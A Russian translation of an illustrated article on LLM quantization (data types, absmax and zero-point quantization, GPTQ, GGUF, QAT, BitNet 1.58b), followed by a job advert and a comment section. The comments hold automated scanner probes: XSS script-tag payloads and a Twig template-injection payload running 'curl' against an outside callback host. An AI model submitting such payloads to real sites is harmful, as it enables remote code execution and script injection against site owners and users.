Этот сайт использует файлы cookies. Продолжая просмотр страниц сайта, вы соглашаетесь с использованием файлов cookies. Если вам нужна дополнительная информация, пожалуйста, посетите страницу Политика файлов Cookie
Subscribe
Прямой эфир
Cryptocurrencies: 9512 / Markets: 114689
Market Cap: $ 3 787 132 962 593 / 24h Vol: $ 200 392 171 953 / BTC Dominance: 58.653467328398%

Н Новости

[Перевод] Квантование в картинках: раскрываем тайны сжатия LLM

Большие языковые модели (LLM, Large Language Model), как подсказывает их название, часто отличаются значительными размерами и слишком велики для того, чтобы нормально работать на обычных компьютерах. Масштабы этих моделей могут измеряться миллиардами параметров. Обычно для обеспечений достойной скорости их работы необходимы GPU с серьёзными объёмами видеопамяти (VRAM).

Из-за этого проводится всё больше и больше исследований, посвящённых уменьшению размеров подобных моделей. Исследователи совершенствуют обучение моделей, используют адаптеры, прибегают к другим способам их оптимизации. Один из главных приёмов уменьшения размеров моделей называется квантованием (quantization).

1f4a369bd2c3794a945cb15e4be7544a.png

Здесь мы познакомимся с квантованием в сфере LLM и рассмотрим его с разных сторон. Это позволит глубоко понять суть происходящего. Мы исследуем разные методологии квантования, поговорим о различных вариантах его применения, обсудим принципы, лежащие в его основе.

В этом материале более 50 рисунков, которые помогут вам приблизиться к интуитивному пониманию разных аспектов квантования!

Часть 1. «Проблема» LLM

Как уже говорилось, LLM, большие языковые модели, названы так из-за огромного количества содержащихся в них параметров. В наши дни речь обычно идёт о миллиардах параметров (это, в основном, веса — weight), хранение которых может быть достаточно дорогим удовольствием. В ходе работы модели (этот этап жизненного цикла моделей часто называют «инференсом» — от «inference») создаются значения активации (их нередко называют просто «активациями» — от «activations»), представляющие собой, если не вдаваться в подробности, результат умножения входных данных и весов модели. Для хранения активаций тоже может понадобиться довольно много места.

66ef03616a5d08c00f41baebf11db484.png

В результате перед нами встаёт задача эффективного представления миллиардов чисел. Нужно минимизировать объём памяти, необходимый для хранения каждого конкретного значения.

Начнём с самого начала и поговорим о том, как числовые значения представляются в компьютерных системах, а уже потом обсудим вопрос их оптимизации.

Как числовые значения представляются в компьютерах

Числовые значения часто хранят в формате числа с плавающей запятой (floating point number, float). Это — положительные или отрицательные числа с десятичным разделителем (decimal point).

Такие значения хранятся в виде «битов», или двоичных цифр. Стандарт IEEE-754 описывает то, как именно биты могут представлять числовые значения, играя одну из трёх ролей: бит знака (sign), поле порядка или показателя степени (exponent) и поле значащей части числа (significand) (ещё называемой дробной частью (fraction), или мантиссой (mantissa)).

16b36434c45d621e2a13d6d20d49d738.png

Обладая сведениями об этих трёх составных частях двоичного представления числа, можно узнать о том, что это за число, вычислить его десятичное значение:

28ab208a824753f2087d384ac5dc2296.png

Чем больше битов используется для представления некоего значения — тем оно, обычно, точнее:

cc2349fdb7127c2cef0f04e6b2e7a0d3.png

Ограничения памяти

Чем больше битов имеется в нашем распоряжении — тем больше диапазон значений, которые можно представить с помощью этих битов.

3f3c784eee5eb76a40c23102e4ee3513.png

Интервал представимых чисел, которые можно закодировать в значениях некоего формата, называется его динамическим диапазоном (dynamic range), а расстояние между двумя соседними значениями называется точностью (precision).

d8fb1e41765ce9bfab31385c11689a1b.png

Очень приятной особенностью применения битов является следующий факт: используя некий формат представления чисел можно вычислить то, сколько памяти понадобится для хранения некоего числового значения. Так как один байт памяти вмещает 8 бит, можно создать простую формулу, подходящую для анализа большинства форматов представлений чисел с плавающей запятой.

a8beeba0bbddc919582961d032973927.png

Учитывайте, что на то, сколько памяти или видеопамяти понадобится во время практического использования модели, влияют и другие факторы — такие, как размер контекста (context size) и архитектура модели.

Представим модель с 70 миллиардами параметров. Большинство моделей, в их исходном виде, используют 32-битные числа типа float (их ещё называют числами одинарной точности, single-precision numbers; их так же называют full-precision numbers). В результате только для того, чтобы загрузить такую модель в память, понадобится 280 Гб памяти.

4c7471a8edc839a95372fedbd7f296fa.png

Тут возникает вполне понятное желание минимизировать количество битов, представляющих параметры (и не только при использовании, но и при обучении модели!). Но, по мере того, как снижается точность используемых чисел, точность ответов модели тоже обычно снижается.

Итак: нужно уменьшить количество битов, представляющих числа, и при этом не ухудшить точность работы модели… Именно тут нам на помощь приходит квантование!

Часть 2. Введение в квантование

Цель квантования заключается в том, чтобы уменьшить точность параметров модели, превращая числа более высокой разрядности (например — 32-битные числа с плавающей запятой) в числа более низкой разрядности (например — в 8-битные целые числа).

500f4ea261ea3ac84761e293053315ed.png

При уменьшении количества битов, используемых для представления исходных параметров, часто наблюдается некоторая потеря точности (уменьшение шага между соседними числами, granularity).

Для того чтобы наглядно проиллюстрировать этот эффект, можно взять любое изображение и «перерисовать» его, используя всего 8 цветов (оригинал взят отсюда).

bc06f1eaa5bcec45a4d60047f910eedd.png

Обратите внимание на то, что увеличенная часть нового изображения выглядит более «зернистой», чем та же часть оригинала, так как теперь мы используем меньше цветов.

Главная задача квантования — снизить количество битов (цветов), необходимых для представления исходных параметров, и при этом как можно лучше сохранить точность этих параметров.

Распространённые типы данных

Для начала рассмотрим распространённые типы данных и поговорим о том, как подействует на модель использование именно их, а не 32-битных чисел с плавающей запятой (FP32).

FP16

Рассмотрим пример, где показан переход от 32-битных к 16-битным числам (к числам с половинной точностью, half-precision numbers, FP16) с плавающей запятой.

7183b8814f4f5f3f081e884aaf3c6bc3.png

Обратит внимание на то, что диапазон чисел, которые помещаются в значения FP16, существенно меньше, чем в значения FP32.

BF16

Для того чтобы выйти на тот же диапазон значений, который соответствует исходному формату FP32, был создан формат bfloat16 (brain floating point), который представляет собой «урезанный FP32».

782cba26760f2e2703d006e3d5ea0f57.png

Формат BF16 использует то же количество битов, что и FP16, но с его помощью можно представлять числа, лежащие в более широком диапазоне. BF16 часто используется в моделях глубокого обучения.

INT8

Когда количество битов уменьшают ещё сильнее — приближаются к области целочисленных представлений чисел, выходя из сферы чисел с плавающей запятой. Переход от типа FP32 к INT8 (8-битное целое число, integer), где применяется всего 8 битов, ведёт к тому, что количество битов, используемых ранее, сокращается в четыре раза:

34b0cd5fb7ccd180645268b0e9bd7a94.png

Целочисленные вычисления, что зависит от аппаратного обеспечения, могут выполняться быстрее, чем вычисления с плавающей запятой. Но это не всегда так. Правда, вычисления, где применяются типы данных с меньшим количеством бит, обычно выполняются быстрее.

В ходе каждого сеанса уменьшения разрядности числа производится отображение, «сжимающее» исходное FP32-представление числа так, чтобы оно, в новой форме, поместилось бы в представление с меньшим количеством битов.

На практике нет нужды в отображении всего диапазона FP32 [-3.4e38, 3.4e38] на диапазон INT8. Достаточно найти способ отображения диапазона имеющихся данных (параметров модели) на INT8.

Обычные методы сжатия/отображения представлены симметричным и асимметричным квантованием, которые являются разновидностями линейного отображения.

Исследуем эти методы квантования, позволяющие перейти от чисел формата FP32 к числам INT8.

Симметричное квантование

При применении симметричного квантования диапазон исходных значений, представленных числами с плавающей запятой, отображается на симметричный диапазон в квантованном пространстве, расположенный вокруг нуля. Обратите внимание на то, как в предыдущих примерах диапазоны значений до и после квантования остаются центрированными вокруг нуля.

Это значит, что новое значение для нуля из пространства значений с плавающей запятой — это тоже ноль в квантованном пространстве.

7ba396c5df36b8fc175b8efca19f6c63.png

Хорошим примером разновидности симметричного квантования является так называемое квантование с использованием максимальных абсолютных значений (absolute maximum (absmax) quantization).

Имея список значений, мы берём самое большое абсолютное значение (α) и используем его, задавая с его помощью границы диапазона при выполнении линейного отображения.

0812eddc2af6393466a6143afb678f4b.png

Обратите внимание на то, что диапазон значений [-127, 127] — это симметричный диапазон. А [-128, 127] — это асимметричный диапазон. Применяемый диапазон значений INT8 зависит от метода квантования.

Так как это — линейное отображение, центрированное вокруг нуля, формула для его выполнения получается довольно-таки простой:

Сначала вычисляем коэффициент масштабирования (s), используя следующие данные:

  • b — это количество байтов, к которому мы хотим привести исходное значение в ходе квантования (8).

  • α — это самое большое абсолютное значение.

Затем используем s для квантования входных данных x:

61c34f97b2795e2aac0db741e9a51a4d.png

Подставляя в формулы имеющиеся значения — получим следующее

60f15613ec392dcd94ce869b5dd6bb90.png

Для восстановления исходных FP32-значений мы можем использовать уже вычисленный коэффициент масштабирования (s). Так мы проводим обратное квантование (деквантование, dequantize) ранее квантованных значений.

feff811ab931453b1e1bafd658d6da08.png

Вот что получается, когда сначала применяют квантование, а потом — деквантование для восстановления исходных значений:

03bec6c6a50770c6626785f47ce2e9e4.png

Можно заметить, что некоторые числа, вроде 3,08 и 3,02, назначаются одному и тому же значению INT8, а именно — числу 36.

При обратном квантовании этих значений для возврата к FP32 они теряют некоторую долю точности и их больше нельзя отличить друг от друга.

Часто это называют ошибкой квантования (quantization error). Вычислить эту ошибку можно, найдя разницу между исходными и деквантованными значениями.

f4ae37ab3df8ca89471284d43e4b1967.png

В целом можно сказать, что чем меньше количество битов — тем больше ошибка квантования, с которой можно столкнуться.

Асимметричное квантование

Асимметричное квантование, в отличие от симметричного, не отличается свойством симметричного расположения значений вокруг нуля. При его применении выполняется сопоставление минимального (β) и максимального (α) значений из диапазона float-чисел, с минимальным и максимальным значениями квантованного диапазона.

Метод, который мы исследуем, называется квантованием относительно нуля (zero-point quantization).

b15895afe69e6b6cafc7e6e752a74c9e.png

Заметили, что позиция нуля сдвинута? Потому это и называется «асимметричным квантованием». Минимальное и максимальное значения находятся на разном расстоянии от нуля в диапазоне [-7,59, 10,8].

Из-за того, что позиция нуля сдвинута, для выполнения линейного отображения необходимо вычислить нулевую точку диапазона INT8. Нам, как и ранее, необходимо найти коэффициент масштабирования (s), но теперь в соответствующей формуле используется разность между границами диапазона значений INT8 — [-128, 127].

7d5e308b7a1150c9454ff49e2982b772.png

Обратите внимание на то, что сейчас вычисления получились немного сложнее. Это — из-за необходимости вычисления нулевой точки (z) в диапазоне INT8, используемой для смещения весов.

Теперь, как и прежде, подставим в формулы реальные значения:

64a13000cd2e916b660a42bf6aef0bc5.png

Для обратного квантования значений из INT8 в FP32 нам понадобится ранее вычисленный коэффициент масштабирования (s) и нулевая точка (z).

Что касается остального — тут всё так же просто и понятно, как раньше:

4648a36e589f3783ec90f09a90eb09ed.png

Если сопоставить симметричное и асимметричное квантование, поместив рядом схемы, описывающие их, сразу будет видна разница между ними:

189425d003d03768fd3d419d5cc66a75.png

Обратите внимание на то, что для симметричного квантования характерно центрирование значений вокруг нуля, и на то, что при применении асимметричного квантования значения смещены относительно нуля.

Отображение диапазона и обрезка значений

В предыдущих примерах мы исследовали то, как диапазон значений некоего вектора может быть отображён на представление меньшей разрядности. Хотя такой подход и позволяет отобразить весь диапазон значений вектора, с этим подходом сопряжена серьёзная проблема. Это — выбросы (outliers).

Представим, что имеется следующий вектор:

74a0d33926cc87ff2fb8a78258707b53.png

Видно, что одно из значений гораздо больше остальных. Его и можно счесть выбросом. Если мы будем отображать полный диапазон этого вектора — все маленькие значения сведутся к одному и тому же представлению меньшей разрядности и их нельзя будет различить:

b7d4be4390adcf04ba58615786073286.png

Тут показаны результаты ранее рассмотренного метода квантования absmax. Так же ведёт себя и асимметричное квантование в том случае, если перед его проведением не прибегнуть к обрезке значений.

Обрезка (clipping, клиппинг) — это удаление некоторых из исходных значений. Обрезка предусматривает установку нового динамического диапазона для исходных значений — такого, чтобы всем выбросам было бы назначено одно и то же значение.

В нижеприведённом примере, если вручную задать динамический диапазон как [-5, 5], то все числа, находящиеся за его пределами, независимо от их значений, будут приведены к значениям -127 или 127:

4c58faa95876093baf97e30587941323.png

Главный плюс обрезки выбросов заключается в значительном уменьшении ошибки квантования для тех значений, которые выбросами не являются. Но ошибка квантования значений-выбросов при этом возрастает.

Калибровка

В рассмотренном примере показан безыскусный метод, где диапазон [-5, 5] был выбран произвольным образом. Процесс выбора подобных диапазонов называется калибровкой (calibration). Его цель заключается в поиске такого диапазона, который включает в себя как можно больше значений, благодаря чему минимизируется ошибка квантования.

Калибровка выполняется по-разному для разных видов параметров моделей.

Веса (и смещения)

Веса (weights) и смещения (biases) LLM можно рассматривать как статические значения, так как они известны до запуска модели. Например, файл Llama 3 размером примерно в 20 Гб состоит, в основном, из весов и смещений модели.

24f82510300722e5d174f916039fff69.png

Так как параметров-смещений гораздо меньше, чем параметров-весов (миллионы против миллиардов), смещения часто хранят в виде чисел более высокой точности (таких, как INT16) и основное внимание уделяют квантованию весов. В случае с весами, которые представлены статическими, заранее известными данными, применяются следующие приёмы калибровки, направленные на выбор диапазона значений, который будет использоваться при квантовании:

  • Самостоятельный выбор процентиля входного диапазона.

  • Оптимизация среднеквадратичной ошибки (mean squared error, MSE) между исходными и квантованными весами.

  • Минимизации энтропии (KL-дивергенции) между исходными и квантованными значениями.

fbc91943e7f424404f4004634778aa20.png

Если, например, применить метод, предусматривающий выбор перцентиля, это приведёт к обрезке значений, напоминающей то, что мы уже видели в предыдущих примерах.

Значения активации

Данные, которые постоянно обновляются при работе LLM обычно называют значениями активации.

72dab5e603da02ccfbb9cd9569a18321.png

Обратите внимание на то, что эти значения называются значениями активации из-за того, что их часто «пропускают» через те или иные функции активации, вроде сигмоиды или ReLU.

Активации, в отличие от весов, меняются по мере того, как в модель, в ходе её работы, поступают новые данные. Это усложняет задачу их точного квантования.

Так как активации обновляются после прохождения данных по скрытым слоям, мы можем узнать их значения только во время работы модели, по мере того, как модель обрабатывает поступающие в неё данные.

f716f1ef733c0d5f7e0c50cd4d4efc77.png

Если не вдаваться в подробности, то существует два метода калибровки системы квантования, применяемой для работы с весами и значениями активации:

  • Post-Training Quantization (PTQ).

    • Квантование выполняется после обучения модели.

  • Quantization Aware Training (QAT).

    • Квантование выполняется в процессе обучения или дообучения модели.

Часть 3. Квантование, выполняемое после обучения модели

Один из самых популярных подходов к квантованию — это Post-Training Quantization (PTQ) — квантование, выполняемое после обучения модели. Речь идёт об обработке весов и значений активации.

Квантование весов выполняется с использованием симметричного или асимметричного подходов.

Квантование активаций, однако, требует данных, полученных из работающей модели. Это позволяет узнать потенциальное распределение таких данных, так как до этого возможный диапазон их значений неизвестен.

Для квантования значений активации применяют два основных подхода:

  • Динамическое квантование.

  • Статическое квантование.

Динамическое квантование

После того, как данные прошли через скрытый слой, мы собираем вычисленные значения активации:

c2f63bd622c129b4419e685747c0ade5.png

Затем распределения значений активации используются для вычисления нулевой точки (z) и коэффициента масштабирования (s), которые необходимы для квантования.

db3fec2d959d151d1f02d2e71747afb7.png

Процесс повторяется каждый раз, когда данные проходят через новый слой. В результате у каждого слоя имеются собственные значения z и s, а значит — с каждым из них связана собственная схема квантования.

Статическое квантование

Применение статического квантования, в отличие от динамического, не предусматривает вычисления нулевой точки (z) и коэффициента масштабирования (s) во время реальной работы модели. При статическом квантовании всё это вычисляют заранее.

Для нахождения этих значений используется калибровочный набор данных (calibration dataset). Он передаётся модели не с целью получения от неё, например, ответа на некий вопрос, а с целью сбора потенциальных распределений значений активации.

51a74e61afbcb409226725a69d99abd0.png

После сбора этих значений можно вычислить s и z для выполнения квантования во время реальной работы модели.

А вот когда модель занимается настоящей работой — значения s и z повторно не вычисляются. Они используются в глобальном масштабе и применяются для квантования всех значений активации.

В целом можно отметить, что динамическое квантование обычно точнее статического, так как при его применении выполняется вычисление значений s и z для каждого скрытого слоя. Но такой подход может повысить время, необходимое на проведение вычислений, обеспечивающих работу модели.

Статическое же квантование, в отличие от динамического, не такое точное, но более быстрое, так как при его применении значения s и z уже известны.

Мир 4-битного квантования

Квантование с использованием значений, разрядность которых меньше 8 битов, зарекомендовало себя как сложная задача. Всё дело в том, что с пропаданием каждого бита растёт ошибка квантования. К счастью, существует несколько хитрых способов квантования, предусматривающих использование 6-ти, 4-х и даже 2-х битных значений (хотя уходить ниже 4 битов при использовании этих методов обычно не рекомендуется).

Мы исследуем два подобных метода, которые обычно всплывают на HuggingFace:

  • GPTQ (вся модель работает на GPU).

  • GGUF (можно переносить некоторые слои в оперативную память и обрабатывать их с помощью CPU).

GPTQ

GPTQ — это, вероятно, один из самых известных среди используемых на практике методов 4-битного квантования (Frantar, Elias, et al. «Gptq: Accurate post-training quantization for generative pre-trained transformers.» arXiv preprint arXiv:2210.17323 (2022)).

Он задействует асимметричное квантование и применяется послойно. Каждый слой, перед переходом к следующему, обрабатывается независимо от других:

0ce5037b9b88cd7f9ea948fb8e0a1ff8.png

Во время этого послойного процесса квантования сначала, на основе весов слоя, выполняется вычисление обратной матрицы Гессиана (Inverse Hessian). Это — матрица вторых производных функции потерь модели. Она показывает нам то, насколько чувствителен выход модели к изменениям каждого из весов.

Проще говоря — она демонстрирует важность (обратную) каждого веса в слое: чем меньше значение, соответствующее весу, тем важнее этот вес.

Веса, которым в матрице Гессиана соответствуют меньшие значения, более важны, так как маленькие изменения в этих весах могут привести к серьёзным изменениям в результатах работы модели.

e2959208e8fbf398d40167c708a5c127.png

Теперь квантуем и деквантуем веса первой строки матрицы весов:

dd7a53464ffb5775bc1c3b16abd28b5f.png

Этот процесс позволяет вычислить ошибку квантования (q), которую можно взвесить, используя обратную матрицу Гессиана (h_1).

Получается, что мы, принимая во внимание важность веса, находим взвешенную ошибку квантования:

48c8340d9eac6ff79efeb0dcb1dc9fb3.png

Далее — перераспределяем взвешенную ошибку квантования по другим весам в строке. Это позволяет поддерживать в стабильном состоянии общий функционал сети и выходные данные, формируемые сетью.

Например, если сделать это для второго веса, для .3 (x_2), то получится, что мы добавляем к нему ошибку квантования (q), умноженную на соответствующее значение из обратной матрицы Гессиана (h_2).

377706e095f8ae3a5e85fc650087dab9.png

Можно сделать то же самое и для третьего веса в том же ряду:

0532b6c3a7c5c328c9ddc85bb213a69a.png

Мы продолжаем выполнять этот процесс перераспределения взвешенной ошибки квантования до тех пор, пока не завершится квантование всех значений.

Этот подход показывает отличные результаты из-за того, что веса обычно связаны друг с другом. Поэтому, когда у некоего веса возникает ошибка квантования, значения других, связанных с ним весов, соответствующим образом корректируются (посредством обратной матрицы Гессиана).

Примечание: авторы этого метода использовали несколько хитрых приёмов для ускорения вычислений и улучшения производительности. Например — это добавление коэффициента демпфирования к матрице Гессиана, это «отложенная пакетная обработка» («lazy batching») данных, это выполнение предварительных вычислений с применением метода Холецкого. Очень рекомендую посмотреть это видео, посвящённое данной теме.

Совет: загляните в репозиторий проекта EXL2 в том случае, если вам нужен метод квантования, ориентированный на оптимизацию производительности и повышение скорости работы сети.

GGUF

GPTQ — это прекрасный метод квантования, который подходит для обработки полных LLM на GPU. Но у GPU не всегда имеется достаточно ресурсов для подобных расчётов. В таких ситуациях можно, вместо GPTQ, прибегнуть к методу GGUF. Он предусматривает перенос слоёв LLM в оперативную память и их обработку на CPU (подробности о GGUF можно найти здесь).

Применение GGUF позволяет, в случаях, когда не хватает видеопамяти, пользоваться и обычными системными ресурсами компьютера, и ресурсами видеоускорителя.

В этот метод постоянно вносят изменения, он может зависеть от разрядности квантования. Но, в целом, в его основе лежат следующие принципы.

Сначала веса слоя разбивают на «суперблоки» («super» block), каждый из которых содержит набор «подблоков» («sub» block). Эти блоки используются для вычисления коэффициента масштабирования (s) и значения «альфа» (α).

ee3714bb287236b14934fc24a8f42045.png

Для квантования «подблока» можно использовать рассмотренный ранее метод absmax. Напомним, что при его применении веса умножают на коэффициент масштабирования (s):

19251ccae5ccaac00fa9fe418339f228.png

Коэффициент масштабирования вычисляется с применением информации из «подблоков», но его квантование выполняется с использованием информации из «суперблока», у которого имеется собственный коэффициент масштабирования:

3104ded5b55afee37960b09b53adf0df.png

Такое блочное квантование использует коэффициент масштабирования (s_super) из «суперблока» для квантования коэффициента масштабирования (s_sub) из «подблока».

У каждого из коэффициентов масштабирования может быть собственный уровень квантования, так как при работе с «суперблоком» обычно используются значения более высокой точности, чем при работе с «подблоками».

В качестве примера рассмотрим несколько уровней квантования (2-битное, 4-битное и 6-битное):

4f4826d74cc17ba230307be0b52eb709.png

Обратите внимание на то, что, в зависимости от типа квантования, необходимо дополнительное минимальное значение (m) для корректировки нулевой точки. Квантование этих значений выполняется так же, как и квантование коэффициента масштабирования (s).

Взгляните на исходный PR, где имеется обзор всех уровней квантования. Кроме того, обратите внимание на этот PR, где есть подробности о квантовании с использованием матриц значимости.

Часть 4. Обучение моделей с учётом квантования

В 3 части мы говорили о том, как квантовать модель после обучения. Минус этого подхода заключается в том, что при квантовании не учитывается реальный процесс обучения сети.

Именно тут уместно вспомнить об обучении моделей с учётом квантования (Quantization Aware Training, QAT). При таком подходе вместо того, чтобы квантовать модель после обучения (Post-Training Quantization, PTQ), стремятся к тому, чтобы находить соответствующие значения в процессе обучения моделей. Ниже показано, как модель «изучает» параметры квантования во время обратного прохода.

0f68221c91a7eca57ffa9d722df0d0c7.png

Применение QAT обычно даёт более точные результаты, чем применение PTQ, так как квантование уже учитывается в ходе обучения модели. Вот как это всё работает.

В процессе обучения модели выполняются так называемые «фиктивные» (fake) операции квантования. Это — когда сначала квантуют FP32-веса, например, в INT4, а потом деквантуют обратно в FP32:

0a2f411d205b3371ec9cd3128e838d2a.png

Это позволяет модели учесть процесс квантования во время обучения, при вычислении функции потерь и при обновлении значений весов.

При применении QAT делается попытка исследования ландшафта функции потерь в поиске «широких» минимумов. Это позволяет уменьшить ошибки квантования, так как работа с «узкими» минимумами обычно приводит к увеличению ошибок квантования.

7ee450f158a337b68554b1b14c6a124a.png

Например — представим, что во время обратного прохода не учитывается квантование. Мы, в соответствии с методом градиентного спуска, выбираем вес, которому соответствует наименьшее значение функции потерь. Но, если этот вес попадает в «узкий» минимум, с его квантованием будет сопряжена достаточно большая ошибка.

В противовес такому подходу, в том случае, если при обучении модели учитывается квантование, будет выбрано другое значение веса, соответствующее «широкому» минимуму. Применение этого значения приведёт к тому, что ошибка квантования будет меньше, чем в первом случае.

2be3c2653df7bfae095feced60640e41.png

В результате, хотя применение PTQ приводит к меньшим потерям при использовании значений высокой точности (например — FP32), применение QAT приводит к меньшим потерям при использовании значений низкой точности (например — INT4). А это — именно то, что нам нужно.

Эпоха 1-битных LLM: BitNet

Переход к четырём битам, как мы уже видели, означает работу со значениями достаточно скромных размеров. А что если пойти ещё дальше?

А дальше нас ждёт BitNet. В этой модели для представления весов используются 1-битные значения. Каждый конкретный вес может равняться либо -1, либо 1.

Достигается это путём внедрения процесса квантования непосредственно в трансформенную архитектуру.

Напомним, что трансформеры — это основа большинства LLM. Применение трансформеров предусматривает выполнение вычислений, в которых используются линейные (linear) слои:

c3f1ee91ad543e8cf0e76f5d5d2e421f.png

Эти линейные слои обычно представлены с использований чисел достаточно высокой точности, вроде FP16, и именно в этих слоях и размещено большинство весов модели.

В модели BitNet линейные слои заменяют на сущности, которые разработчики этой модели называют BitLinear-слоями:

6f19beb5b681a0e70bbe1584dd6acc39.png

BitLinear-слой работает так же, как и обычный линейный слой — он вычисляет выходные данные, перемножая веса на активации.

Но, в отличие от линейных слоёв, в слое BitLinear веса модели представлены с помощью 1-битных значений, а значения активации — с помощью INT8-чисел:

92fd86e2a425aa520e65de53dc141b5c.png

В слое BitLinear, как и в ходе работы QAT, проводятся «фиктивные» операции квантования, что позволяет проанализировать эффект, который оказывает на работу модели квантование весов и активаций:

61bc3995cb6430633b10ce5bfe1b33e3.png

В публикации о BitNet вместо α используется γ, но, так как в вышеприведённых примерах используется α, здесь мы продолжим эту традицию. Кроме того, обратите внимание на то, что β здесь — это не то же самое значение, которое мы использовали при квантовании относительно нуля. Здесь это — среднее абсолютное значение.

Поговорим о том, как именно работают BitLinear-слои.

Квантование весов

В ходе обучения модели веса хранятся с использованием INT8-чисел, а затем производится их квантование в 1-битные значения с использованием простой стратегии, реализуемой посредством знаковой функции (signum function).

Смысл этого в том, что распределение весов смещается так, чтобы его центром стал бы 0, а после этого всему, что левее нуля, назначется -1, а всему, что правее — 1:

d8b54d0e41e8c6746da667578e4ed821.png

В дополнение к этому тут запоминается значение β (среднее абсолютное значение), которым пользуются для деквантования.

Квантование значений активации

Для обработки значений активации в BitLinear применяется absmax-квантование. Активации преобразуются из типа FP16 в тип INT8, так как они, для целей умножения матриц (×), должны быть представлены с более высокой точностью.

c8fcdeb4e7760eaab8bf16ed58c1b52c.png

Здесь, кроме того, запоминается значение α (самое большое абсолютное значение), которое позже понадобится для деквантования.

Деквантование

Мы запомнили значения α (самое большое абсолютное значение) и β (среднее абсолютное значение), так как они понадобятся нам для деквантования значений активации и возврата их в формат FP16.

Выходные значения активации перемасштабируют с использованием {α, γ}, что позволяет деквантовать их, преобразовав к числам, точность которых соответствует их исходному виду:

538b8152951a61f02652882487f8ce28.png

Вот и всё! Эта процедура сравнительно проста, она позволяет описывать модели, используя всего два значения — -1 и 1.

Воспользовавшись этим подходом, авторы заметили, что чем больше становится размер модели — тем меньше оказывается разрыв между эффективностью работы её 1-битного и FP16-варианта.

Но это справедливо только для достаточно больших моделей (>30 миллиардов параметров). Эффективность моделей меньшего размера страдает сильнее.

1,58 бита всем LLM

Модель BitNet 1.58b была выпущена для того, чтобы решить вышеупомянутую проблему, связанную с масштабированием (Ma, Shuming, et al. «The era of 1-bit llms: All large language models are in 1.58 bits.» arXiv preprint arXiv:2402.17764 (2024).).

Суть применяемого в ней нового метода заключается в том, что веса модели теперь, помимо значений -1 и 1, могут принимать и значение 0. При работе с моделью используется тернарный подход к представлению весов. Интересно то, что столь простое решение — добавление к возможным значениям весов обычного ноля — привело к значительным улучшениям по сравнению с BitNet и позволило серьёзно ускорить вычисления.

Мощь ноля

Почему начало использование значения 0 привело к столь серьёзным улучшениям?

Всё дело — в особенностях умножения матриц!

Для начала разберёмся с тем, как умножают матрицы. При вычислении выходов слоя модели мы умножаем матрицу весов на вектор входных значений. Ниже можно видеть первый этап умножения первой строки матрицы весов на входные значения:

26d0f1ad34f418b2fd302e7363a894dc.png

Обратите внимание на то, что то умножение, которым мы тут занимаемся, состоит из двух операций. Сначала перемножают отдельные веса и входные значения, а потом складывают то, что получилось.

Создателям BitNet 1.58b удалось отказаться от операции умножения. Смысл значений, которые могут принимать веса, заключается в следующем:

  • 1: прибавить это значение.

  • 0: это значение не нужно.

  • -1: вычесть это значение.

В результате, если веса модели были подвергнуты квантованию, в ходе которого их преобразовали в 1,58-битный формат, умножение матрицы весов и вектора входных данных будет выглядеть так:

4fa3b4ab7ef81a21c817f27a4628861c.png

Этот подход не только значительно ускоряет вычисления, но ещё и позволяет выполнять фильтрацию признаков (feature filtering).

Записывая в определённые веса значение 0, мы можем просто их игнорировать. А в случае с 1-битным представлением весов такой возможности нет, так как значения при таком подходе либо вычитают, либо складывают, но не игнорируют.

Квантование

Для квантования весов в BitNet 1.58b используется метод absmean — разновидность метода absmax, о котором мы уже говорили.

В ходе работы сжимают распределение весов и используют среднее абсолютное значение (α) для квантования других значений. Каждое значение, в итоге, сводится к одному из трёх вариантов — -1, 0 или 1:

bf7bac099d3aac51aca1cac73911cf15.png

В BitNet 1.58b активации квантуются почти так же, как в BitNet. Единственное различие заключается в том, что для масштабирования этих значений применяется диапазон [-2ᵇ⁻¹, 2ᵇ⁻¹], а не [0, 2ᵇ⁻¹]. Для квантования используется метод absmax.

На этом всё! Для квантования значений в 1,58-битный формат нужно (в основном) прибегнуть к двум приёмам:

  • Надо воспользоваться тернарным представлением весов, добавив 0 к их возможным значениям, которые теперь могут быть представлены числами [-1, 0, 1].

  • Надо воспользоваться методом absmean для квантования весов.

Модель BitNet b1.58 с 13 миллиардами параметров эффективнее в смысле задержек, использования памяти и потребления энергии, чем LLM, использующая формат FP16 с 3 миллиардами параметров.

Как результат — мы получаем легковесные модели, на каждый параметр которых, в среднем, нужно 1,58 бита. Это не только экономит память, необходимую для их хранения, но и повышает эффективность использования вычислительных ресурсов при работе с ними.

Итоги

Вот и кончилось наше путешествие по миру квантования! Надеюсь, этот материал позволил вам лучше понять возможности и перспективы сжатия LLM, помог разобраться в таких вещах, как GPTQ, GGUF и BitNet. Кто знает — до чего дойдёт прогресс в деле уменьшения размеров и повышения эффективности больших языковых моделей?

Если хотите ещё картинок, посвящённых разным аспектам LLM — можете взглянуть на мою книгу «Hands-On Large Language Models».

О, а приходите к нам работать? 🤗 💰

Мы в wunderfund.io занимаемся высокочастотной алготорговлей с 2014 года. Высокочастотная торговля — это непрерывное соревнование лучших программистов и математиков всего мира. Присоединившись к нам, вы станете частью этой увлекательной схватки.

Мы предлагаем интересные и сложные задачи по анализу данных и low latency разработке для увлеченных исследователей и программистов. Гибкий график и никакой бюрократии, решения быстро принимаются и воплощаются в жизнь.

Сейчас мы ищем плюсовиков, питонистов, дата-инженеров и мл-рисерчеров.

Присоединяйтесь к нашей команде

Источник

  • 09.10.25 08:09 pHqghUme

    can I ask you a question please?

  • 09.10.25 08:09 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:09 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:09 pHqghUme

    e

  • 09.10.25 08:11 pHqghUme

    e

  • 09.10.25 08:11 pHqghUme

    e

  • 09.10.25 08:11 pHqghUme

    e

  • 09.10.25 08:11 pHqghUme

    can I ask you a question please?

  • 09.10.25 08:12 pHqghUme

    can I ask you a question please?

  • 09.10.25 08:12 pHqghUme

    can I ask you a question please?

  • 09.10.25 08:12 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:13 pHqghUme

    can I ask you a question please?'"()&%<zzz><ScRiPt >6BEP(9887)</ScRiPt>

  • 09.10.25 08:13 pHqghUme

    {{_self.env.registerUndefinedFilterCallback("system")}}{{_self.env.getFilter("curl hityjalvnplljd6041.bxss.me")}}

  • 09.10.25 08:13 pHqghUme

    '"()&%<zzz><ScRiPt >6BEP(9632)</ScRiPt>

  • 09.10.25 08:13 pHqghUme

    can I ask you a question please?9425407

  • 09.10.25 08:13 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:14 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:16 pHqghUme

    e

  • 09.10.25 08:17 pHqghUme

    e

  • 09.10.25 08:17 pHqghUme

    e

